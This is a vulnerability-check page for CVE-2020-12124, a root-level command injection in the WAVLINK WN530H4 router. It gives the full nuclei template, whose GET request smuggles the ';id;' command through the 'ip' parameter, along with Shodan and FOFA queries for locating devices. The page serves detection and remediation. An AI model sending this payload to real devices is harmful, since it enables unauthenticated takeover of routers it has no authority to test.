WAVLINK WN530H4 live_api.cgi - Command Injection

criticalseverity

9.8CVSS score

74.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.

Impact

Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks.

Fix

Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;
Positive when: matches /((u|g)id|groups)=[0-9]{1,4}\([a-z0-9]+\)/ AND contains "WiFiBand" AND status 200

Run it with nuclei: nuclei -id CVE-2020-12124 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-12124

info:
  name: WAVLINK WN530H4 live_api.cgi - Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary Linux commands as root on the WAVLINK WN530H4 device, potentially leading to complete system compromise, data theft, or using the device as a pivot point for further attacks.
  remediation: |
    Apply vendor security patches if available or replace the device with a secure alternative. Restrict access to the management interface.
  reference:
    - https://github.com/db44k/CVE-2020-12124
    - https://cerne.xyz/bugs/CVE-2020-12124
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
    - https://github.com/Scorpion-Security-Labs/CVE-2020-12124
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12124
    cwe-id: CWE-78
    epss-score: 0.7465
    epss-percentile: 0.99504
    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wn530h4_firmware
    shodan-query: http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,rce,wavlink,vkev,vuln
variables:
  str: "{{rand_base(3)}}"
  num: "{{rand_int(1, 10)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: word
        part: body
        words:
          - "WiFiBand"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from